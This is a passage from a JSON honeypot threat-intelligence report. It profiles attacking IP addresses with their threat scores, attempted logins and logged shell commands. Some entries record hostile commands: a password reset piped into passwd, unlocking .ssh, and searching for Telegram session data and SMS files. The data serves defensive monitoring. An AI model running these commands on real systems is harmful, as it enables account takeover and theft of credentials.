        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 12
      }
    },
    "144.124.199.222": {
      "attack_count": 79,
      "first_seen": "2026-03-26T15:56:16.086Z",
      "last_seen": "2026-03-26T16:06:09.131Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "icecast",
        "monitor",
        "trooper"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "icecast1234",
        "monitor123",
        "trooperpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"icecast1234\\nPNEakRdf6TSR\\nPNEakRdf6TSR\\n\"|passwd",
        "echo -e \"icecast1234\\nPNEakRdf6TSR\\nPNEakRdf6TSR\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 89,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T15:56:16.086000+00:00",
        "last_seen_30d": "2026-03-26T16:07:13.107000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 79,
        "Suricata": 10
      }
    },
    "130.12.180.103": {
      "attack_count": 76,
      "first_seen": "2026-03-03T00:23:03.623Z",
      "last_seen": "2026-03-11T16:02:24.198Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "1",
        "AdminGPON",
        "debian",
        "maks",
        "sshd",
        "user",
        "user3",
        "vintagestory"
      ],
      "passwords_attempted": [
        "1",
        "123",
        "1234",
        "12345",
        "ALC#FGU",
        "Admin@123",
        "admin",
        "admin01",
        "pass",
        "robert",
        "root",
        "sshd",
        "temppwd"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1891,
        "days_active_30d": 30,
        "ports_targeted_30d": 433,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T07:03:07+00:00",
        "last_seen_30d": "2026-03-31T12:03:41.579000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1382,
        "Honeytrap": 433,
        "Cowrie": 76
      }
    },
    "167.71.11.46": {
      "attack_count": 75,
      "first_seen": "2026-03-14T22:03:37.894Z",
      "last_seen": "2026-03-14T22:24:14.656Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "111111",
        "123",
        "123123",
        "1234",
        "12345",
        "123456",
        "1234567",
        "12345678",
        "123456789",
        "abc123",
        "admin",
        "password",
        "qwerty"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T22:03:37.894000+00:00",
        "last_seen_30d": "2026-03-14T22:25:18.723000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 75,
        "Suricata": 33
      }
    },
    "69.6.251.124": {
      "attack_count": 55,
      "first_seen": "2026-03-03T18:30:28.654Z",
      "last_seen": "2026-03-14T00:04:22.368Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "root"
      ],
      "passwords_attempted": [
        "Kelltech@123",
        "kelltech123",
        "kelltech@123",
        "Kelltech123",
        "kelltech",
        "kelltech123@",
        "kelltech2025",
        "kelltech@2025"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Vinhedo",
      "asn": 31898,
      "as_org": "Oracle Corporation",
      "threat_score": 26.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 11.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 14,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T18:30:28.654000+00:00",
        "last_seen_30d": "2026-03-16T22:33:03.352000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 113,
        "Cowrie": 55,
        "Heralding": 30
      }
    },
    "67.102.7.161": {
      "attack_count": 46,
      "first_seen": "2026-03-30T21:46:41.902Z",
      "last_seen": "2026-03-30T21:51:40.207Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 30.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T21:46:41.902000+00:00",
        "last_seen_30d": "2026-03-30T21:52:42.228000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "104.248.0.159": {
      "attack_count": 45,
      "first_seen": "2026-03-14T14:11:15.460Z",
      "last_seen": "2026-03-14T14:18:50.495Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "12345678",
        "admin",
        "password",
        "qwerty",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-14T14:11:15.460000+00:00",
        "last_seen_30d": "2026-03-14T14:19:54.942000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 45,
        "Suricata": 19
      }
    },
    "46.23.176.230": {
      "attack_count": 38,
      "first_seen": "2026-03-08T07:48:28.436Z",
      "last_seen": "2026-03-08T07:53:36.561Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 16012,
      "as_org": "MTS PJSC",
      "threat_score": 7.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T07:48:28.436000+00:00",
        "last_seen_30d": "2026-03-08T07:54:42.784000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "92.33.203.68": {
      "attack_count": 37,
      "first_seen": "2026-03-08T01:28:10.988Z",
      "last_seen": "2026-03-08T01:29:28.856Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12345",
        "123456",
        "admin",
        "guest",
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Kristianstad",
      "asn": 8434,
      "as_org": "Telenor Sverige AB",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T01:28:10.988000+00:00",
        "last_seen_30d": "2026-03-08T01:30:31.505000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 37,
        "Suricata": 4
      }
    },
    "168.144.25.25": {
      "attack_count": 30,
      "first_seen": "2026-03-09T17:40:37.934Z",
      "last_seen": "2026-03-09T17:47:13.474Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "admin",
        "password",
        "root"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 7.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T17:40:37.934000+00:00",
        "last_seen_30d": "2026-03-09T17:48:15.545000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 13
      }
    },
    "78.17.10.79": {
      "attack_count": 29,
      "first_seen": "2026-03-28T12:27:45.105Z",
      "last_seen": "2026-03-28T12:31:18.272Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root",
        "root1",
        "root12"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": null,
      "asn": 57043,
      "as_org": "Hostkey B.v.",
      "threat_score": 26.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:26:16.932000+00:00",
        "last_seen_30d": "2026-03-28T12:32:23.212000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 29,
        "Suricata": 13
      }
    },
    "38.188.160.169": {
      "attack_count": 23,
      "first_seen": "2026-03-11T00:02:26.701Z",
      "last_seen": "2026-03-11T00:35:11.189Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "160489",
        "250690",
        "290584",
        "priscille"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T00:02:26.701000+00:00",
        "last_seen_30d": "2026-03-11T00:36:12.335000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 11
      }
    },
    "111.10.246.236": {
      "attack_count": 20,
      "first_seen": "2026-03-28T00:26:17.566Z",
      "last_seen": "2026-03-28T00:26:35.595Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "h3c.com!",
        "root123456"
      ],
      "commands_executed": [
        "uname -s -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 24.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T00:26:17.566000+00:00",
        "last_seen_30d": "2026-03-28T00:27:44.008000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 20,
        "Suricata": 9
      }
    },
    "46.151.178.13": {
      "attack_count": 17,
      "first_seen": "2026-03-18T00:15:24.066Z",
      "last_seen": "2026-03-31T02:06:14.596Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 211443,
      "as_org": "Sino Worldwide Trading Limited",
      "threat_score": 100,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6319,
        "days_active_30d": 30,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T00:00:01+00:00",
        "last_seen_30d": "2026-03-31T23:29:04.406000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3949,
        "Honeytrap": 2278,
        "H0neytr4p": 41,
        "Ciscoasa": 31,
        "Cowrie": 17,
        "Tanner": 3
      }
    },
    "120.48.117.250": {
      "attack_count": 12,
      "first_seen": "2026-03-15T21:50:24.413Z",
      "last_seen": "2026-03-15T21:50:32.268Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "AAaa1111"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 12.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T21:50:24.413000+00:00",
        "last_seen_30d": "2026-03-15T22:01:43.121000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "102.91.104.191": {
      "attack_count": 10,
      "first_seen": "2026-03-31T15:26:19.804Z",
      "last_seen": "2026-03-31T15:26:28.239Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "toor"
      ],
      "commands_executed": [
        "system",
        "/bin/busybox BOT",
        "enable"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Abuja",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T15:26:19.804000+00:00",
        "last_seen_30d": "2026-03-31T15:27:30.629000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 1
      }
    },
    "111.70.1.128": {
      "attack_count": 10,
      "first_seen": "2026-03-22T22:49:34.733Z",
      "last_seen": "2026-03-22T22:51:48.383Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "a"
      ],
      "passwords_attempted": [
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 17421,
      "as_org": "Mobile Business Group",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T22:49:34.733000+00:00",
        "last_seen_30d": "2026-03-22T23:02:12.255000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "34.58.42.25": {
      "attack_count": 10,
      "first_seen": "2026-03-11T04:21:27.250Z",
      "last_seen": "2026-03-11T04:22:07.002Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 8.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T04:21:27.250000+00:00",
        "last_seen_30d": "2026-03-11T04:23:09.401000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "87.121.84.24": {
      "attack_count": 10,
      "first_seen": "2026-03-03T14:54:47.907Z",
      "last_seen": "2026-03-03T14:54:57.428Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 215925,
      "as_org": "Vpsvault.host Ltd",
      "threat_score": 83.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 1986,
        "days_active_30d": 26,
        "ports_targeted_30d": 179,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-03-02T00:18:11+00:00",
        "last_seen_30d": "2026-03-27T20:31:35.896000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1337,
        "Honeytrap": 600,
        "Adbhoney": 14,
        "ConPot": 14,
        "Cowrie": 10,
        "Honeyaml": 7,
        "Dionaea": 4
      }
    },
    "213.21.239.4": {
      "attack_count": 9,
      "first_seen": "2026-03-09T23:20:46.460Z",
      "last_seen": "2026-03-29T05:56:03.408Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "asdfasdf-space"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": null,
      "asn": 211443,
      "as_org": "Sino Worldwide Trading Limited",
      "threat_score": 47.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.6,
        "persistence": 18.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 23,
        "days_active_30d": 22,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-08T02:24:42.385000+00:00",
        "last_seen_30d": "2026-03-29T05:57:05.686000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 9,
        "Honeytrap": 1
      }
    },
    "194.4.164.134": {
      "attack_count": 8,
      "first_seen": "2026-03-31T22:24:23.525Z",
      "last_seen": "2026-03-31T22:24:29.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "enable",
        "root",
        "sh"
      ],
      "passwords_attempted": [
        "shell",
        "system",
        "toor"
      ],
      "commands_executed": [
        "/bin/busybox BOT"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Yaroslavl",
      "asn": 49558,
      "as_org": "IT-Yaroslavl Ltd.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T22:24:23.525000+00:00",
        "last_seen_30d": "2026-03-31T22:25:35.916000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 1
      }
    },
    "205.210.31.80": {
      "attack_count": 8,
      "first_seen": "2026-03-03T22:16:29.667Z",
      "last_seen": "2026-03-12T22:21:23.374Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 125,
        "days_active_30d": 29,
        "ports_targeted_30d": 37,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-03-03T07:17:11+00:00",
        "last_seen_30d": "2026-03-31T14:45:05.232000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 84,
        "Honeytrap": 31,
        "Cowrie": 8,
        "ConPot": 1,
        "Dionaea": 1
      }
    },
    "168.144.22.174": {
      "attack_count": 7,
      "first_seen": "2026-03-18T22:22:14.425Z",
      "last_seen": "2026-03-18T22:25:16.516Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 13.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-18T22:22:14.425000+00:00",
        "last_seen_30d": "2026-03-18T22:26:19.592000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 6
      }
    },
    "20.14.73.54": {
      "attack_count": 7,
